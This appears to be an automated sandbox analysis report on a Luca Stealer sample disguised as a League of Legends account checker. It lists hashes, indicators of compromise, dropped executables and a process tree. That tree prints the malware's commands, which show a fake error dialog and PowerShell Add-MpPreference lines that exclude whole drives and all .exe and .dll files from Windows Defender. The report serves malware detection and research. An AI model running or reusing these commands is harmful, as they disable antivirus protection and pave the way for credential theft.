lucastealer | 4bc5ade40ab56113ce9709c0da15416628e089e838864a6756ceca90b8ffaf5b

Analysis

max time kernel
150s
max time network
35s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
06-03-2023 20:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Rust LoL Accounts Checker.bin.exe
Size

5.6MB
MD5

bded213b6ad8b501a9a8769498c06858
SHA1

3927ded7ffee7ab8f400d00bcb3b5479ffa3abfb
SHA256

4bc5ade40ab56113ce9709c0da15416628e089e838864a6756ceca90b8ffaf5b
SHA512

01fae25d7d0865ea0bd3b2f4d8f51d192a3ae9b7af5ab23ea55b34cadc3618ad66f53aec865776a50c98a7fb8076e71335d180ebf6e8ad02cf4a74799d780ee3
SSDEEP

98304:QxD6iw63xsDaup/EMGVxpE581oyzEY6JvRdZjYZPqXEla15YYO:QR6b6+HE25ZyzEX9jaqzv2

Score

10^/10

lucastealer stealer

Malware Config

Signatures

Luca Stealer
Info stealer written in Rust first seen in July 2022.
stealer lucastealer

Luca Stealer payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/files/0x000a0000000122e1-4815.dat	family_lucastealer
behavioral1/files/0x000a0000000122e1-4814.dat	family_lucastealer
behavioral1/files/0x000a0000000122e1-4813.dat	family_lucastealer
behavioral1/files/0x000a0000000122e1-4812.dat	family_lucastealer
behavioral1/files/0x000a0000000122e1-4819.dat	family_lucastealer

Executes dropped EXE 3 IoCs

Processes:

LoL Account Checker.exeLoL Checker x64.exeRuntime64.exe

pid	Process
1480	LoL Account Checker.exe
2044	LoL Checker x64.exe
1560	Runtime64.exe

Loads dropped DLL 6 IoCs

Processes:

cmd.execmd.execmd.exe

pid	Process
904	cmd.exe
2012	cmd.exe
2012	cmd.exe
1048
596	cmd.exe
596	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
5	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

Rust LoL Accounts Checker.bin.exe

pid	Process
1376	Rust LoL Accounts Checker.bin.exe
1376	Rust LoL Accounts Checker.bin.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Rust LoL Accounts Checker.bin.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Rust LoL Accounts Checker.bin.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Rust LoL Accounts Checker.bin.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

LoL Account Checker.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
1480	LoL Account Checker.exe
1480	LoL Account Checker.exe
480	powershell.exe
748	powershell.exe
1480	LoL Account Checker.exe
1480	LoL Account Checker.exe
1480	LoL Account Checker.exe
1480	LoL Account Checker.exe
520	powershell.exe
1140	powershell.exe
1592	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

LoL Account Checker.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeShutdownPrivilege	1480	LoL Account Checker.exe
Token: SeDebugPrivilege	480	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	520	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe

Suspicious use of WriteProcessMemory 56 IoCs

Processes:

Rust LoL Accounts Checker.bin.execmd.execmd.execmd.execmd.exeLoL Checker x64.execmd.execmd.exe

description	pid	Process	procid_target
PID 1376 wrote to memory of 1176	1376	Rust LoL Accounts Checker.bin.exe	27
PID 1376 wrote to memory of 1176	1376	Rust LoL Accounts Checker.bin.exe	27
PID 1376 wrote to memory of 1176	1376	Rust LoL Accounts Checker.bin.exe	27
PID 1376 wrote to memory of 1176	1376	Rust LoL Accounts Checker.bin.exe	27
PID 1376 wrote to memory of 604	1376	Rust LoL Accounts Checker.bin.exe	28
PID 1376 wrote to memory of 604	1376	Rust LoL Accounts Checker.bin.exe	28
PID 1376 wrote to memory of 604	1376	Rust LoL Accounts Checker.bin.exe	28
PID 1376 wrote to memory of 604	1376	Rust LoL Accounts Checker.bin.exe	28
PID 1376 wrote to memory of 904	1376	Rust LoL Accounts Checker.bin.exe	31
PID 1376 wrote to memory of 904	1376	Rust LoL Accounts Checker.bin.exe	31
PID 1376 wrote to memory of 904	1376	Rust LoL Accounts Checker.bin.exe	31
PID 1376 wrote to memory of 904	1376	Rust LoL Accounts Checker.bin.exe	31
PID 1376 wrote to memory of 2012	1376	Rust LoL Accounts Checker.bin.exe	33
PID 1376 wrote to memory of 2012	1376	Rust LoL Accounts Checker.bin.exe	33
PID 1376 wrote to memory of 2012	1376	Rust LoL Accounts Checker.bin.exe	33
PID 1376 wrote to memory of 2012	1376	Rust LoL Accounts Checker.bin.exe	33
PID 904 wrote to memory of 2044	904	cmd.exe	35
PID 904 wrote to memory of 2044	904	cmd.exe	35
PID 904 wrote to memory of 2044	904	cmd.exe	35
PID 904 wrote to memory of 2044	904	cmd.exe	35
PID 2012 wrote to memory of 1480	2012	cmd.exe	36
PID 2012 wrote to memory of 1480	2012	cmd.exe	36
PID 2012 wrote to memory of 1480	2012	cmd.exe	36
PID 2012 wrote to memory of 1480	2012	cmd.exe	36
PID 604 wrote to memory of 748	604	cmd.exe	39
PID 604 wrote to memory of 748	604	cmd.exe	39
PID 604 wrote to memory of 748	604	cmd.exe	39
PID 604 wrote to memory of 748	604	cmd.exe	39
PID 1176 wrote to memory of 480	1176	cmd.exe	37
PID 1176 wrote to memory of 480	1176	cmd.exe	37
PID 1176 wrote to memory of 480	1176	cmd.exe	37
PID 1176 wrote to memory of 480	1176	cmd.exe	37
PID 604 wrote to memory of 520	604	cmd.exe	41
PID 604 wrote to memory of 520	604	cmd.exe	41
PID 604 wrote to memory of 520	604	cmd.exe	41
PID 604 wrote to memory of 520	604	cmd.exe	41
PID 2044 wrote to memory of 1340	2044	LoL Checker x64.exe	42
PID 2044 wrote to memory of 1340	2044	LoL Checker x64.exe	42
PID 2044 wrote to memory of 1340	2044	LoL Checker x64.exe	42
PID 2044 wrote to memory of 1340	2044	LoL Checker x64.exe	42
PID 2044 wrote to memory of 596	2044	LoL Checker x64.exe	44
PID 2044 wrote to memory of 596	2044	LoL Checker x64.exe	44
PID 2044 wrote to memory of 596	2044	LoL Checker x64.exe	44
PID 2044 wrote to memory of 596	2044	LoL Checker x64.exe	44
PID 1340 wrote to memory of 1140	1340	cmd.exe	46
PID 1340 wrote to memory of 1140	1340	cmd.exe	46
PID 1340 wrote to memory of 1140	1340	cmd.exe	46
PID 1340 wrote to memory of 1140	1340	cmd.exe	46
PID 596 wrote to memory of 1560	596	cmd.exe	47
PID 596 wrote to memory of 1560	596	cmd.exe	47
PID 596 wrote to memory of 1560	596	cmd.exe	47
PID 596 wrote to memory of 1560	596	cmd.exe	47
PID 1340 wrote to memory of 1592	1340	cmd.exe	48
PID 1340 wrote to memory of 1592	1340	cmd.exe	48
PID 1340 wrote to memory of 1592	1340	cmd.exe	48
PID 1340 wrote to memory of 1592	1340	cmd.exe	48

C:\Users\Admin\AppData\Local\Temp\Rust LoL Accounts Checker.bin.exe
"C:\Users\Admin\AppData\Local\Temp\Rust LoL Accounts Checker.bin.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Loading Rust Components. It can take up to 5 minutes, please wait.','Error','OK','Error')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Loading Rust Components. It can take up to 5 minutes, please wait.','Error','OK','Error')"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:748
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:520
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\LoL Checker x64.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Users\Admin\AppData\Local\Temp\LoL Checker x64.exe
    "C:\Users\Admin\AppData\Local\Temp\LoL Checker x64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1340
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1140
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime64.exe"
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:596
    - - C:\Users\Admin\AppData\Local\Temp\Runtime64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Runtime64.exe"
        5⤵
        Executes dropped EXE
        
        PID:1560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe
    "C:\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1480

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe

Filesize
4.2MB

MD5
737d5f15ce6f25fd35748317f418228e

SHA1
ce770614c55fd78247e81073739a65a4859af95a

SHA256
05e13b81086568e323aa2a00d3c63f8df46f679a1d22a7a35062384f51342820

SHA512
4913be2a1797ffc4b6be68a95bde091897a31490aec701580bf9978f5a76b3bc3d69655e500dac97ff5776d1325c97fe0ceae66982b84179f05ffd30ff4c3c9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe

Filesize
4.2MB

MD5
737d5f15ce6f25fd35748317f418228e

SHA1
ce770614c55fd78247e81073739a65a4859af95a

SHA256
05e13b81086568e323aa2a00d3c63f8df46f679a1d22a7a35062384f51342820

SHA512
4913be2a1797ffc4b6be68a95bde091897a31490aec701580bf9978f5a76b3bc3d69655e500dac97ff5776d1325c97fe0ceae66982b84179f05ffd30ff4c3c9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\LoL Checker x64.exe

Filesize
257KB

MD5
872be464e8b07144dd04ead953d26fec

SHA1
6908505f45adf61875f78e4e3e374da2d380b3b8

SHA256
42105689f3974b93b06d56c81d4a6852e0ab7759eaa63834941be7ad4290ff60

SHA512
a9b082aea81a7801f77588ba8834b71ddbd64f43169e9f381f8f43145470e3ed5442551e2483e2c88b7a596d5ccf9cfeb3f5d900ce2c4baa2a6742baa924f5a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\LoL Checker x64.exe

Filesize
257KB

MD5
872be464e8b07144dd04ead953d26fec

SHA1
6908505f45adf61875f78e4e3e374da2d380b3b8

SHA256
42105689f3974b93b06d56c81d4a6852e0ab7759eaa63834941be7ad4290ff60

SHA512
a9b082aea81a7801f77588ba8834b71ddbd64f43169e9f381f8f43145470e3ed5442551e2483e2c88b7a596d5ccf9cfeb3f5d900ce2c4baa2a6742baa924f5a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Runtime64.exe

Filesize
252KB

MD5
3c9bd0d16cea39a29132136d93c0b2ec

SHA1
5ffdf5cb39cc0e51753843e9e0aa14a201472fe4

SHA256
f96e95622e7ef19947169f534f792b660cf9ba8209a3b5de0ff7a22e2d5b1e86

SHA512
314cccc5f00952d19819363342a149fae3ca73db1bff31253a267142537890ea6fab7461c25ff5d0bf530631beac477905ee93a06ef3fafd98ee398bf3aa9fd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Runtime64.exe

Filesize
252KB

MD5
3c9bd0d16cea39a29132136d93c0b2ec

SHA1
5ffdf5cb39cc0e51753843e9e0aa14a201472fe4

SHA256
f96e95622e7ef19947169f534f792b660cf9ba8209a3b5de0ff7a22e2d5b1e86

SHA512
314cccc5f00952d19819363342a149fae3ca73db1bff31253a267142537890ea6fab7461c25ff5d0bf530631beac477905ee93a06ef3fafd98ee398bf3aa9fd4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KKC4TY47MGSYU2BN5NHX.temp

Filesize
7KB

MD5
41dd6c10b171fe44251cbb409d4f9f5a

SHA1
34bffdf30bebe0b8cb681248f8f3855c79eb5272

SHA256
daebddcf714ec23ebb0546420557affc97a13ce40513225ab9c6486ddb7724ff

SHA512
6f25f182504e9f5c85045ecfc84b02e09a6425537ac3354c0614221a314edb91f2f68a678ec77c2b436a52f3058332ef99231a88019fab63d448caf1b1370fcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
41dd6c10b171fe44251cbb409d4f9f5a

SHA1
34bffdf30bebe0b8cb681248f8f3855c79eb5272

SHA256
daebddcf714ec23ebb0546420557affc97a13ce40513225ab9c6486ddb7724ff

SHA512
6f25f182504e9f5c85045ecfc84b02e09a6425537ac3354c0614221a314edb91f2f68a678ec77c2b436a52f3058332ef99231a88019fab63d448caf1b1370fcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
41dd6c10b171fe44251cbb409d4f9f5a

SHA1
34bffdf30bebe0b8cb681248f8f3855c79eb5272

SHA256
daebddcf714ec23ebb0546420557affc97a13ce40513225ab9c6486ddb7724ff

SHA512
6f25f182504e9f5c85045ecfc84b02e09a6425537ac3354c0614221a314edb91f2f68a678ec77c2b436a52f3058332ef99231a88019fab63d448caf1b1370fcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
41dd6c10b171fe44251cbb409d4f9f5a

SHA1
34bffdf30bebe0b8cb681248f8f3855c79eb5272

SHA256
daebddcf714ec23ebb0546420557affc97a13ce40513225ab9c6486ddb7724ff

SHA512
6f25f182504e9f5c85045ecfc84b02e09a6425537ac3354c0614221a314edb91f2f68a678ec77c2b436a52f3058332ef99231a88019fab63d448caf1b1370fcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
41dd6c10b171fe44251cbb409d4f9f5a

SHA1
34bffdf30bebe0b8cb681248f8f3855c79eb5272

SHA256
daebddcf714ec23ebb0546420557affc97a13ce40513225ab9c6486ddb7724ff

SHA512
6f25f182504e9f5c85045ecfc84b02e09a6425537ac3354c0614221a314edb91f2f68a678ec77c2b436a52f3058332ef99231a88019fab63d448caf1b1370fcf

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe

Filesize
4.2MB

MD5
737d5f15ce6f25fd35748317f418228e

SHA1
ce770614c55fd78247e81073739a65a4859af95a

SHA256
05e13b81086568e323aa2a00d3c63f8df46f679a1d22a7a35062384f51342820

SHA512
4913be2a1797ffc4b6be68a95bde091897a31490aec701580bf9978f5a76b3bc3d69655e500dac97ff5776d1325c97fe0ceae66982b84179f05ffd30ff4c3c9e

Download Submit
\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe

Filesize
4.2MB

MD5
737d5f15ce6f25fd35748317f418228e

SHA1
ce770614c55fd78247e81073739a65a4859af95a

SHA256
05e13b81086568e323aa2a00d3c63f8df46f679a1d22a7a35062384f51342820

SHA512
4913be2a1797ffc4b6be68a95bde091897a31490aec701580bf9978f5a76b3bc3d69655e500dac97ff5776d1325c97fe0ceae66982b84179f05ffd30ff4c3c9e

Download Submit
\Users\Admin\AppData\Local\Temp\LoL Account Checker.exe

Filesize
4.2MB

MD5
737d5f15ce6f25fd35748317f418228e

SHA1
ce770614c55fd78247e81073739a65a4859af95a

SHA256
05e13b81086568e323aa2a00d3c63f8df46f679a1d22a7a35062384f51342820

SHA512
4913be2a1797ffc4b6be68a95bde091897a31490aec701580bf9978f5a76b3bc3d69655e500dac97ff5776d1325c97fe0ceae66982b84179f05ffd30ff4c3c9e

Download Submit
\Users\Admin\AppData\Local\Temp\LoL Checker x64.exe

Filesize
257KB

MD5
872be464e8b07144dd04ead953d26fec

SHA1
6908505f45adf61875f78e4e3e374da2d380b3b8

SHA256
42105689f3974b93b06d56c81d4a6852e0ab7759eaa63834941be7ad4290ff60

SHA512
a9b082aea81a7801f77588ba8834b71ddbd64f43169e9f381f8f43145470e3ed5442551e2483e2c88b7a596d5ccf9cfeb3f5d900ce2c4baa2a6742baa924f5a4

Download Submit
\Users\Admin\AppData\Local\Temp\Runtime64.exe

Filesize
252KB

MD5
3c9bd0d16cea39a29132136d93c0b2ec

SHA1
5ffdf5cb39cc0e51753843e9e0aa14a201472fe4

SHA256
f96e95622e7ef19947169f534f792b660cf9ba8209a3b5de0ff7a22e2d5b1e86

SHA512
314cccc5f00952d19819363342a149fae3ca73db1bff31253a267142537890ea6fab7461c25ff5d0bf530631beac477905ee93a06ef3fafd98ee398bf3aa9fd4

Download Submit
\Users\Admin\AppData\Local\Temp\Runtime64.exe

Filesize
252KB

MD5
3c9bd0d16cea39a29132136d93c0b2ec

SHA1
5ffdf5cb39cc0e51753843e9e0aa14a201472fe4

SHA256
f96e95622e7ef19947169f534f792b660cf9ba8209a3b5de0ff7a22e2d5b1e86

SHA512
314cccc5f00952d19819363342a149fae3ca73db1bff31253a267142537890ea6fab7461c25ff5d0bf530631beac477905ee93a06ef3fafd98ee398bf3aa9fd4

Download Submit
memory/480-4827-0x0000000002440000-0x0000000002480000-memory.dmp

Filesize
256KB

Download
memory/480-4829-0x0000000002440000-0x0000000002480000-memory.dmp

Filesize
256KB

Download
memory/480-4830-0x0000000002440000-0x0000000002480000-memory.dmp

Filesize
256KB

Download
memory/520-4839-0x0000000002720000-0x0000000002760000-memory.dmp

Filesize
256KB

Download
memory/748-4828-0x00000000026E0000-0x0000000002720000-memory.dmp

Filesize
256KB

Download
memory/748-4831-0x00000000026E0000-0x0000000002720000-memory.dmp

Filesize
256KB

Download
memory/1376-518-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-467-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-522-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-521-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-520-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-519-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-517-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-515-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-514-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-512-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-511-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-510-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-505-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-504-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-502-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-501-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-500-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-499-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-498-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-497-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-496-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-495-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-491-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-490-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-489-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-487-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-486-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-485-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-484-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-482-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-481-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-479-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-478-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-477-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-474-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-471-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-470-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-523-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-466-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-463-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-462-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-1329-0x0000000002200000-0x0000000002300000-memory.dmp

Filesize
1024KB

Download
memory/1376-1504-0x0000000002340000-0x00000000024C1000-memory.dmp

Filesize
1.5MB

Download
memory/1376-4662-0x0000000002200000-0x0000000002300000-memory.dmp

Filesize
1024KB

Download
memory/1376-54-0x0000000075420000-0x0000000075467000-memory.dmp

Filesize
284KB

Download
memory/1376-516-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-513-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-506-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-508-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-509-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-4811-0x0000000000400000-0x0000000000992000-memory.dmp

Filesize
5.6MB

Download
memory/1376-4817-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-507-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-503-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-4818-0x00000000024D0000-0x0000000002571000-memory.dmp

Filesize
644KB

Download
memory/1376-494-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-492-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-493-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-488-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-483-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-480-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-475-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-476-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-473-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-472-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-469-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-468-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-465-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-464-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1376-143-0x0000000000400000-0x0000000000992000-memory.dmp

Filesize
5.6MB

Download
memory/1376-461-0x00000000025F0000-0x0000000002701000-memory.dmp

Filesize
1.1MB

Download
memory/1560-4850-0x0000000000220000-0x0000000000264000-memory.dmp

Filesize
272KB

Download
memory/1560-4859-0x000000001ADF0000-0x000000001AE70000-memory.dmp

Filesize
512KB

Download
memory/1592-4858-0x0000000002830000-0x0000000002870000-memory.dmp

Filesize
256KB

Download
memory/1592-4857-0x0000000002830000-0x0000000002870000-memory.dmp

Filesize
256KB

Download